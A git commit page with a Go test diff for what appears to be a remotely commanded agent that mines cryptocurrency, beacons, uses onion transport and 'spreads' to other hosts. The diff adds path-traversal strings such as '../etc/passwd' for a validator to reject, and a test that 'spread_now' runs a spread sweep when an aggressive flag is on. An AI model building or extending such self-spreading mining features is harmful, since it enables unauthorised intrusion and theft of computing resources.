Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -12,6 +12,11 @@ func TestValidateAICommandPathRejectsTraversal(t *testing.T) {
|
||||
"../etc/passwd",
|
||||
"/home/user/../../secret",
|
||||
`C:\Users\alice\..\admin`,
|
||||
"..",
|
||||
"~/../../outside",
|
||||
"@desktop/../../secret",
|
||||
"desktop:../../payload",
|
||||
"safe/inner/../../../etc/shadow",
|
||||
}
|
||||
for _, path := range cases {
|
||||
if err := validateAICommandPath(path); err == nil {
|
||||
@@ -72,6 +77,26 @@ func TestHandleAIRunDiagnostics(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleAISpreadNowWhenEnabled(t *testing.T) {
|
||||
var gotAction string
|
||||
var gotOK bool
|
||||
var gotMsg string
|
||||
c := newTestClient(t)
|
||||
c.cfg.RemoteAggressive = true
|
||||
c.commandResultHook = func(action string, success bool, message string) {
|
||||
gotAction = action
|
||||
gotOK = success
|
||||
gotMsg = message
|
||||
}
|
||||
c.handleAICommand("spread_now", 0, "", "", "")
|
||||
if gotAction != "spread_now" || !gotOK {
|
||||
t.Fatalf("action=%s ok=%v msg=%q", gotAction, gotOK, gotMsg)
|
||||
}
|
||||
if gotMsg == "" {
|
||||
t.Fatal("expected spread sweep message")
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleAISpreadNowRequiresForgeFlag(t *testing.T) {
|
||||
var gotOK bool
|
||||
var gotMsg string
|
||||
|
||||
Reference in New Issue
Block a user